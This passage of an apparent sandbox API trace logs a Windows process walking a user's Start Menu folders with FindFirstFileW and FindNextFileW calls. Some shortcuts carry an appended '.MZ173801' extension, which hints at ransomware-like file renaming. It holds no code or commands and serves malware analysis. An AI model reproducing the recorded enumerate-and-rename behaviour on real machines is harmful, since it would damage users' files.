lpFatTime=0x19f598) returned 1 [0193.798] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x9d68056d, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Notepad.lnk.MZ173801", cAlternateFileName="NOTEPA~1.MZ1")) returned 1 [0193.798] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0193.798] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0193.798] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x9d68056d, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Notepad.lnk.MZ173801", cAlternateFileName="NOTEPA~1.MZ1")) returned 0 [0193.798] GetLastError () returned 0x12 [0193.798] FindClose (in: hFindFile=0xa1b6c8 | out: hFindFile=0xa1b6c8) returned 1 [0193.799] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3eed247, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="Administrative Tools", cAlternateFileName="ADMINI~1")) returned 1 [0193.799] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0193.799] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0193.799] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3eed247, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b5e8 [0193.799] FindNextFileW (in: hFindFile=0xa1b5e8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3eed247, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0193.799] FindNextFileW (in: hFindFile=0xa1b5e8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x441842cf, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0193.799] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0193.799] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0193.799] FindNextFileW (in: hFindFile=0xa1b5e8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x441842cf, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0193.799] GetLastError () returned 0x12 [0193.799] FindClose (in: hFindFile=0xa1b5e8 | out: hFindFile=0xa1b5e8) returned 1 [0193.799] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3eed247, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b508 [0193.799] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0193.799] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0193.799] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3eed247, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0193.799] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0193.799] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0193.799] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x441842cf, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0193.799] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x441842cf, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0193.799] GetLastError () returned 0x12 [0193.799] FindClose (in: hFindFile=0xa1b508 | out: hFindFile=0xa1b508) returned 1 [0193.800] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0xce317778, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xce317778, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0193.800] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3eedf4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1aa08e58, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="Maintenance", cAlternateFileName="MAINTE~1")) returned 1 [0193.800] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0193.800] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0193.800] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3eedf4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1aa08e58, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b5e8 [0193.800] FindNextFileW (in: hFindFile=0xa1b5e8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3eedf4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1aa08e58, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0193.800] FindNextFileW (in: hFindFile=0xa1b5e8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0193.800] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0193.800] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0193.800] FindNextFileW (in: hFindFile=0xa1b5e8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Desktop.ini", cAlternateFileName="")) returned 0 [0193.800] GetLastError () returned 0x12 [0193.800] FindClose (in: hFindFile=0xa1b5e8 | out: hFindFile=0xa1b5e8) returned 1 [0193.800] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3eedf4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1aa08e58, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b540 [0193.800] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0193.800] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0193.800] FindNextFileW (in: hFindFile=0xa1b540, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3eedf4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1aa08e58, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0193.800] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0193.800] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0193.801] FindNextFileW (in: hFindFile=0xa1b540, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0193.801] FindNextFileW (in: hFindFile=0xa1b540, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Desktop.ini", cAlternateFileName="")) returned 0 [0193.801] GetLastError () returned 0x12 [0193.801] FindClose (in: hFindFile=0xa1b540 | out: hFindFile=0xa1b540) returned 1 [0193.801] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f13cff3, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x92576074, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x98ef9c35, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x944, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="OneDrive.lnk.MZ173801", cAlternateFileName="ONEDRI~1.MZ1")) returned 1 [0193.801] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0193.801] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0193.801] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3eef18c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="Startup", cAlternateFileName="")) returned 1 [0193.801] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0193.801] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0193.801] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3eef18c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b3b8 [0193.801] FindNextFileW (in: hFindFile=0xa1b3b8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3eef18c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0193.801] FindNextFileW (in: hFindFile=0xa1b3b8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x441842cf, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0193.801] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0193.801] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0193.801] FindNextFileW (in: hFindFile=0xa1b3b8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x441842cf, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0193.801] GetLastError () returned 0x12 [0193.801] FindClose (in: hFindFile=0xa1b3b8 | out: hFindFile=0xa1b3b8) returned 1 [0193.801] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3eef18c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b6c8 [0193.801] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0193.801] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0193.801] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3eef18c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0193.802] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0193.802] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0193.802] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x441842cf, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0193.802] FindNextFileW (in: hFindFile=0xa1b6c8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x441842cf, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0193.802] GetLastError () returned 0x12 [0193.802] FindClose (in: hFindFile=0xa1b6c8 | out: hFindFile=0xa1b6c8) returned 1 [0193.802] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3f411db, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1aa08e58, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x19f8e4, cFileName="System Tools", cAlternateFileName="SYSTEM~1")) returned 1 [0193.802] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0193.802] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0193.802] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3f411db, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1aa08e58, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b508 [0193.802] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3f411db, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1aa08e58, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0193.802] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4c08a146, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x476, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Command Prompt.lnk", cAlternateFileName="COMMAN~1.LNK")) returned 1 [0193.802] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0193.802] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0193.802] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Command Prompt.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start 